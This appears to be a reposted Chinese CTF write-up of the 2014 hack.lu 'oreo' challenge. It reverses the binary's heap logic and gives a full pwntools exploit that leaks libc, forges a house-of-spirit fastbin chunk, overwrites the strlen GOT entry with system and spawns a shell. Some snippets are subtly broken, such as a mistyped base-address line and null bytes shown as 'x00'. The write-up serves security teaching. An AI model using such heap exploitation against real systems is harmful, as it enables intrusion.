2014-hack-lu-oreo 对技巧house of spirit
Posted luoleqi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2014-hack-lu-oreo 对技巧house of spirit相关的知识,希望对你有一定的参考价值。
目录
常规检查
??没有开启 RELRO ,意味我们可以修改 got 表地址。
逆向分析
What would you like to do?
1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action:
Add 函数
unsigned int add()
{
char *v1; // [esp+18h] [ebp-10h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
v1 = dword_804A288;
dword_804A288 = malloc(0x38u);
if ( dword_804A288 )
{
*(dword_804A288 + 13) = v1;
printf("Rifle name: ");
fgets(dword_804A288 + 25, 56, stdin);
set0(dword_804A288 + 25);
printf("Rifle description: ");
fgets(dword_804A288, 56, stdin);
set0(dword_804A288);
++dword_804A2A4;
}
else
{
puts("Something terrible happened!");
}
return __readgsdword(0x14u) ^ v2;
}
- dword_804A288:存储构造的块地址
- *(dword_804A288 + 13):在块地址的 13 字节处写入上一个块的地址
- *(dword_804A288 + 25):在块地址的 25 字节处写入 name ,可以写入 56 个字节,这里存在堆溢出
- *(dword_804A288):在块地址的起始处写入 description ,可以写入 56 个字节,这里存在堆溢出
- dword_804A2A4:记录 add 次数
Show 函数
unsigned int show()
{
char *i; // [esp+14h] [ebp-14h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
printf("Rifle to be ordered:
%s
", "===================================");
for ( i = dword_804A288; i; i = *(i + 13) )
{
printf("Name: %s
", i + 25);
printf("Description: %s
", i);
puts("===================================");
}
return __readgsdword(0x14u) ^ v2;
}
??(dword_804A288 + 13) 是上一个块的地址,所以 for 通过 (dword_804A288 + 13) 寻址遍历所有的块,并打印信息。
Order 函数
unsigned int order()
{
char *ptr; // ST18_4
char *v2; // [esp+14h] [ebp-14h]
unsigned int v3; // [esp+1Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
v2 = dword_804A288;
if ( dword_804A2A4 )
{
while ( v2 )
{
ptr = v2;
v2 = *(v2 + 13);
free(ptr);
}
dword_804A288 = 0;
++dword_804A2A0;
puts("Okay order submitted!");
}
else
{
puts("No rifles to be ordered!");
}
return __readgsdword(0x14u) ^ v3;
}
??遍历并 free 掉所有块
- dword_804A2A0:记录 order 的次数
Leave 函数
unsigned int leave()
{
unsigned int v0; // ST1C_4
v0 = __readgsdword(0x14u);
printf("Enter any notice you'd like to submit with your order: ");
fgets(dword_804A2A8, 128, stdin);
set0(dword_804A2A8);
return __readgsdword(0x14u) ^ v0;
}
??把 Message 写入 dword_804A2A8 处
show 函数
unsigned int show_0()
{
unsigned int v1; // [esp+1Ch] [ebp-Ch]
v1 = __readgsdword(0x14u);
puts("======= Status =======");
printf("New: %u times
", dword_804A2A4);
printf("Orders: %u times
", dword_804A2A0);
if ( *dword_804A2A8 )
printf("Order Message: %s
", dword_804A2A8);
puts("======================");
return __readgsdword(0x14u) ^ v1;
}
??分别打印 new 次数, order 次数和 message 内容。
利用思路
利用过程
泄露 libc 基址
name = "A" * 27 + p32(elf.got['printf'])
desc = 'b' * 24
add(name,desc)
show()
r.recvuntil('Description: ')
r.recvuntil('Description: ')
printfAddr = u32(r.recvn(4))
baseAddr = printAddr = libc.symbols['printf']
systemAddr = baseAddr + libc.symbols['system']
??*(dword_804A288 + 13) 为 dword_804A288 后52个字节, name dword_804A288 + 25 为 dword_804A288 后 25 个字节,所以需要填充 27 个字节
伪造区块到 0x804a2a0
for i in range(0x3e):
add('a'* 27 + p32(0), 'a')
orderMsgAddr = 0x804a2a8
vulnName = 'C' * 27 + p32(orderMsgAddr)
add(vulnName,'D' * 24)
orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
orderMsg += 'x00' * 4 + 'a' * 4 + p32(0x40)
leave(orderMsg)
order()
??我们想要一个能够让我们任意写的块,就需要用到 fastbin ,因为 fastbin 是 LIFO 的,只要我们 free 和 malloc 一样大小的 fastbin ,就能 malloc 到上次 free 的块。而 free 和 malloc 的时候都需要 size 满足 fastbin 的 index ,所以我们通过 add 0x40 次,将 fack chunk 的 size 改为 40。
gdb-peda$ x /20xg 0x0804a2a8
0x804a2a8: 0x000000000804a2c0 0x0000000000000000
0x804a2b8: 0x0000000000000000 0x6161616161616161
0x804a2c8: 0x6161616161616161 0x6161616161616161
0x804a2d8: 0x0000000061616161 0x0000004061616161
??malloc 的时候还需要绕过 next chunk 的大小判断,而我们的 messge 是从 00804a2c0 开始写的,于是我们可以算的 next chunk 的偏移并改 next chunk 的 size 为 0x40 (大于 2 * SIZE_SZ 且小于 av->system_mem 就可以),这样当我们再次再 add 的时候,就能 malloc 到起始地址为 0x804a2a0 的块。
覆盖 got 表为 system 拿shell
strlenGotAddr = p32(elf.got['strlen'])
add('b',strlenGotAddr)
leave(p32(systemAddr) + ';/bin/sh')
??这里首先把 strlen 的 got 表改为 system 地址,然后在 leave 的 set0 函数中还会再次调用 strlen ,就相当于调用了 system(system_got) 和 system(‘/bin/sh‘)。因为 system 函数有个特性,system("ls;/bin/sh") 就相当于 sytem("ls"); system("/bin/sh");。
exp脚本
from pwn_debug import *
pdbg = pwn_debug('oreo')
pdbg.local()
r = pdbg.run('local')
elf = ELF('./oreo')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
def add(name,desc):
r.sendline('1')
r.sendline(name)
r.sendline(desc)
def show():
r.sendline('2')
def order():
r.sendline('3')
def leave(message):
r.sendline('4')
r.sendline(message)
name = "A" * 27 + p32(elf.got['printf'])
desc = 'b' * 24
add(name,desc)
show()
r.recvuntil('Description: ')
r.recvuntil('Description: ')
printfAddr = u32(r.recvn(4))
baseAddr = printfAddr - libc.symbols['printf']
systemAddr = baseAddr + libc.symbols['system']
for i in range(0x3e):
add('a'* 27 + p32(0), 'a')
orderMsgAddr = 0x804a2a8
vulnName = 'C' * 27 + p32(orderMsgAddr)
add(vulnName,'D' * 24)
orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
orderMsg += 'x00' * 4 + 'a' * 4 + p32(0x40)
leave(orderMsg)
#gdb.attach(r)
order()
strlenGotAddr = p32(elf.got['strlen'])
add('b',strlenGotAddr)
leave(p32(systemAddr) + ';/bin/sh')
#gdb.attach(r)
r.interactive()
成功 get shell
内容来源
以上是关于2014-hack-lu-oreo 对技巧house of spirit的主要内容,如果未能解决你的问题,请参考以下文章
hitcontraining_bamboobox 堆技巧 House of Force
溢出利用技巧house of spirit friendly stack overflow